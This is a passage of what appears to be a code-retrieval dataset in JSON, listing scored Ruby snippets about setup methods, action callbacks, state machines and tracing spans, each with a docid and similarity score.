"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58335453",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.57738566",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5701527",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5701527",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.56534666",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.5618685",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.54237175",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5407991",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5407991",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5407991",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5394463",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.5376582",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5355932",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.53376216",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.5337122",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.5329516",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.5311442",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.52963835",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52955836",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.5295297",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.5258503",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.52442217",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.5234908",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.5230927",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.52263695",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.5222485",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.5216462",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.52128595",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.52070963",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.520529",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.517586",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.5174021",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.5172379",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.5165636",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.5161574",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51556087",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.5153217",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152898",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.5151238",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.5144674",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51387095",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.51342636",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5113545",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.51131564",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.51131564",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.5107665",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5107052",
"text": "def action\n end",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.50908124",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.5089785",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.50814754",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.50807786",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.5064482",
"text": "def action\n end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5053022",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.50526255",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.5050246",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.5050246",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.50329554",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5023997",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5021236",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5014815",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.5014393",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.4999298",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.49990913",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4997733",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49884573",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49884573",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49840933",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.49786162",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49784446",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.49782816",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.49659815",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49655175",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.4956222",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.49543875",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.49536037",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.495265",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.4951427",
"text": "def save_action; end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49438462",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49436793",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49335384",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49321616",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49264926",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49247074",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.49246994",
"text": "def default_action; end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.49226475",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.49194494",
"text": "def advice\n end",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.49152806",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49149707",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49149227",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
},
{
"docid": "0fe8b3b5573f8eb57ec1752658a62e4e",
"score": "0.49144953",
"text": "def call\n setup_context\n super\n end",
"title": ""
},
{
"docid": "399ad686f5f38385ff4783b91259dbd7",
"score": "0.49141943",
"text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"title": ""
}
] |
e9279d559d787f4e9313840c2a15489c
|
Span Events must be enabled for Infinite Tracing
|
[
{
"docid": "6ea80b59ba36d72b0e816e6e08983378",
"score": "0.70680976",
"text": "def span_events_enabled?\n NewRelic::Agent.config[:'span_events.enabled']\n end",
"title": ""
}
] |
[
{
"docid": "b2349afb8ab6997e0c6008ad9b64a2a2",
"score": "0.6058628",
"text": "def on_start(span, _parent_context)\n context = span.context\n trace_id = context.trace_id\n\n lock do\n if all_spans_count(traces_spans_count) >= max_queue_size\n # instead of just dropping all new spans, dd-trace-rb drops a random trace\n # https://github.com/DataDog/dd-trace-rb/blob/c6fbf2410a60495f1b2d8912bf7ea7dc63422141/lib/ddtrace/buffer.rb#L34-L36\n # It allows for a more fair usage of the queue when under stress load,\n # and will create proportional representation of code paths being instrumented at stress time.\n unfinished_trace_id = fetch_unfinished_trace_id\n\n # if there are no unfinished traces able to be dropped, don't add more spans, and return early\n if unfinished_trace_id.nil?\n OpenTelemetry.logger.warn('Max spans for all traces, spans will be dropped')\n @_spans_dropped = true\n return\n end\n\n drop_unfinished_trace(unfinished_trace_id)\n OpenTelemetry.logger.warn('Max spans for all traces, traces will be dropped')\n end\n\n if traces[trace_id].nil?\n traces[trace_id] = [span]\n traces_spans_count[trace_id] = 1\n else\n if traces[trace_id].size >= max_trace_size\n OpenTelemetry.logger.warn('Max spans for trace, spans will be dropped')\n @_spans_dropped = true\n return\n end\n\n traces[trace_id] << span\n traces_spans_count[trace_id] += 1\n end\n end\n end",
"title": ""
},
{
"docid": "1015b7f4a6d73c622d45f24d113909e1",
"score": "0.5879905",
"text": "def on_start(span)\n # noop\n end",
"title": ""
},
{
"docid": "cf181b6b9881d949bec7872dc56f4000",
"score": "0.5633225",
"text": "def have_spans(n = anything)\n Tracing::Matchers::HaveSpans.new(n)\n end",
"title": ""
},
{
"docid": "d6d2d0ef18a9dcae9ca3f66b4c395863",
"score": "0.56252956",
"text": "def span_start; end",
"title": ""
},
{
"docid": "e295ba400820b7d6eee03d550bca9717",
"score": "0.550215",
"text": "def non_recording_span(span_context)\n Span.new(span_context: span_context)\n end",
"title": ""
},
{
"docid": "7e691f3398a2c7f1d4d67c58f9fdde36",
"score": "0.5494184",
"text": "def enabled?\n distributed_tracing_enabled? &&\n span_events_enabled? &&\n trace_observer_configured?\n end",
"title": ""
},
{
"docid": "f9ca903b48952a5998a58d1e72e16c7a",
"score": "0.5484407",
"text": "def tracing()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "c48ef949bb2503d7bfef8554b65f2fd9",
"score": "0.54688764",
"text": "def have_span(operation_name = anything)\n Tracing::Matchers::HaveSpan.new(operation_name)\n end",
"title": ""
},
{
"docid": "ffae927936c0733943d19ae685d2e5c0",
"score": "0.5411384",
"text": "def test_span_default_service\n span = @tracer.start_span('my.op')\n sleep(0.001)\n span.finish()\n\n (20 * FLUSH_INTERVAL).times do\n break if @writer.stats[:traces_flushed] >= 1\n sleep(0.1)\n end\n\n assert_equal(1, @writer.stats[:traces_flushed], 'wrong number of traces flushed')\n dump = @transport.helper_dump\n dumped_traces = dump[200][:traces]\n refute_nil(dumped_traces, 'no 200 OK data for default traces endpoint')\n # unmarshalling data\n assert_equal(1, dumped_traces.length, 'there should be one and only one payload')\n assert_kind_of(String, dumped_traces[0])\n payload = JSON.parse(dumped_traces[0])\n assert_kind_of(Array, payload)\n assert_equal(1, payload.length, 'there should be one trace in the payload')\n trace = payload[0]\n assert_kind_of(Array, trace)\n assert_equal(1, trace.length, 'there should be one span in the trace')\n span = trace[0]\n assert_kind_of(Hash, span)\n # checking content\n assert_equal(0, span['parent_id'], 'a root span should have no parent')\n assert_equal(0, span['error'], 'there should be explicitely no error')\n refute_equal(span['trace_id'], span['span_id'], 'trace_id and span_id are different for any span')\n # now the whole purpose of this test: check we have a 'ruby' service by default,\n # which should be guessed from the script being executed.\n assert_equal('rake_test_loader', span['service'], 'wrong service')\n end",
"title": ""
},
{
"docid": "0b3162cf3b923f3dac26fc526f86df70",
"score": "0.53421503",
"text": "def recording_events?\n false\n end",
"title": ""
},
{
"docid": "4a42cc436f363612695f6cd8c7fb3a82",
"score": "0.529072",
"text": "def span_start=(_); end",
"title": ""
},
{
"docid": "ed4c6a5d2c5d45e1704875a977c242a8",
"score": "0.5233613",
"text": "def span(name = nil, type: 'app', fields: {}, **extra_fields)\n fields = fields.merge(extra_fields)\n\n start = nil\n\n event = client.event\n span_for_existing_event(event, name: name, type: type) do |span_id, trace_id|\n fields.each do |field, value|\n event.add_field \"app.#{field}\", value\n end\n\n start = Time.now\n\n yield span_id, trace_id, event\n end\n rescue Exception => e\n if event\n # TODO what should the prefix be?\n event.add_field 'app.error', e.class.name\n event.add_field 'app.error_detail', e.message\n end\n raise\n ensure\n if start && event\n finish = Time.now\n duration = finish - start\n event.add_field 'duration_ms', duration * 1000\n event.send\n end\n end",
"title": ""
},
{
"docid": "c5a083a4c434e23b0c6ed0eea8750751",
"score": "0.521472",
"text": "def trace_context\n ensure_exists!\n trace.trace_context.with span_id: span_id\n end",
"title": ""
},
{
"docid": "5c993c00f5b8d12b72e73b1892cc6ba2",
"score": "0.5176618",
"text": "def report_spans(spans)\n return unless @state == :announced\n\n path = \"com.instana.plugin.ruby/traces.#{@process[:report_pid]}\"\n uri = URI.parse(\"http://#{@host}:#{@port}/#{path}\")\n req = Net::HTTP::Post.new(uri)\n\n req.body = spans.to_json\n response = make_host_agent_request(req)\n\n if response\n last_trace_response = response.code.to_i\n\n #::Instana.logger.debug \"traces response #{last_trace_response}: #{spans.to_json}\"\n\n if [200, 204].include?(last_trace_response)\n return true\n end\n end\n false\n rescue => e\n Instana.logger.debug \"#{__method__}:#{File.basename(__FILE__)}:#{__LINE__}: #{e.message}\"\n Instana.logger.debug e.backtrace.join(\"\\r\\n\")\n end",
"title": ""
},
{
"docid": "f35f8129ab3cdac915d2dfb6847e2fad",
"score": "0.5175426",
"text": "def span?; end",
"title": ""
},
{
"docid": "7e618f0b11bc997ed89a4b633d895ebe",
"score": "0.5168089",
"text": "def span_events_queue_size\n NewRelic::Agent.config[:'span_events.queue_size']\n end",
"title": ""
},
{
"docid": "9e2e4ff05780a91b7bf9829c5f17997a",
"score": "0.5144221",
"text": "def disable_all_tracing\n record_api_supportability_metric(:disable_all_tracing)\n\n return yield unless agent\n\n begin\n agent.push_trace_execution_flag(false)\n yield\n ensure\n agent.pop_trace_execution_flag\n end\n end",
"title": ""
},
{
"docid": "6e5ca7d785b4b2c43929711184d329ae",
"score": "0.51332694",
"text": "def interrupter_tracepoint_init()\r\n @interrupter_tracepoint = TracePoint.new(:line) do |tp|\r\n if (@fiber == Fiber.current)\r\n @interrupter_tracepoint.disable\r\n Fiber.yield if !@suspended\r\n elsif (@stop_after -= 1) == 0\r\n @interrupter_tracepoint.disable\r\n end \r\n end\r\n end",
"title": ""
},
{
"docid": "eb2311858383ad49c37f9ab0597d6c45",
"score": "0.5121461",
"text": "def start(span_name=nil)\n return if !enabled?\n raise TraceProcessedException.new(trace_processed_error_string) if flushed?\n if in_progress?\n start_new_span(span_name)\n end\n instrument do\n @current_span.start(span_name)\n @in_progress = true\n end\n end",
"title": ""
},
{
"docid": "3a192b53415db508e2427fb6aa151d0b",
"score": "0.51127493",
"text": "def start_span name, skip_frames: 0, sampler: nil\n child_context = create_child\n sampler ||= OpenCensus::Trace.config.default_sampler\n sampled = sampler.call span_context: self\n span = SpanBuilder.new child_context, sampled,\n skip_frames: skip_frames + 1\n span.name = name\n span.start!\n @trace_data.span_map[child_context.span_id] = span\n end",
"title": ""
},
{
"docid": "b08b599a70c6ea1359bd6fb303e872fa",
"score": "0.5106674",
"text": "def tracing= bool\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "5071d6e6944df954534b3fc8b69e0805",
"score": "0.50837976",
"text": "def sampled?\n span = this_span\n if span\n span.sampled\n else\n trace_options & 0x01 != 0\n end\n end",
"title": ""
},
{
"docid": "846d7a58e28235842cbff2ae76fe55b8",
"score": "0.5044946",
"text": "def on_finish(span)\n if @keep_running == false\n OpenTelemetry.logger.warn('Already shutdown, dropping span')\n return\n end\n\n # TODO: determine if all \"not-sampled\" spans still get passed to on_finish?\n # If so then we don't need to account for Probability Sampling\n # and can likely incorporate Priority Sampling from DD\n # If not, then we need to ensure the rate from OpenTelemetry.tracer_provider.active_trace_config.sampler\n # can be expoed to the span or attached to spanData in some way\n # return unless span.context.trace_flags.sampled?\n\n context = span.context\n trace_id = context.trace_id\n\n lock do\n if traces_spans_ended_count[trace_id].nil?\n traces_spans_ended_count[trace_id] = 1\n else\n traces_spans_ended_count[trace_id] += 1\n end\n\n check_traces_queue.unshift(trace_id) if trace_exportable?(trace_id)\n end\n end",
"title": ""
},
{
"docid": "3935dd12e33498b4b75906ec9f6867d5",
"score": "0.5041275",
"text": "def distributed_tracing_enabled?\n NewRelic::Agent.config[:'distributed_tracing.enabled']\n end",
"title": ""
},
{
"docid": "4cbd704db2cdc24a1081466ec82bf9ec",
"score": "0.5015202",
"text": "def format!\n return unless trace\n return trace unless root_span\n\n # Because the trace API does not support\n # trace metadata, we must put our trace\n # metadata on the root span. This \"root span\"\n # is needed by the agent/API to ingest the trace.\n\n # Apply generic trace tags. Any more specific value will be overridden\n # by the subsequent calls below.\n set_trace_tags!\n\n set_resource!\n\n tag_agent_sample_rate!\n tag_hostname!\n tag_lang!\n tag_origin!\n tag_process_id!\n tag_rule_sample_rate!\n tag_runtime_id!\n tag_rate_limiter_rate!\n tag_sample_rate!\n tag_sampling_decision_maker!\n tag_high_order_trace_id!\n tag_sampling_priority!\n tag_profiling_enabled!\n\n trace\n end",
"title": ""
},
{
"docid": "b041dd681a6917670addf4132d1a13cb",
"score": "0.49931973",
"text": "def start_span(name, with_parent: nil, attributes: nil, links: nil, start_timestamp: nil, kind: nil)\n span = OpenTelemetry::Trace.current_span(with_parent)\n\n if span.context.valid?\n span\n else\n Span::INVALID\n end\n end",
"title": ""
},
{
"docid": "716b5b021733fe218de0a4aca3da4358",
"score": "0.49891096",
"text": "def human_event; end",
"title": ""
},
{
"docid": "9321d6ea5181e6aba28e28916c54abff",
"score": "0.49724174",
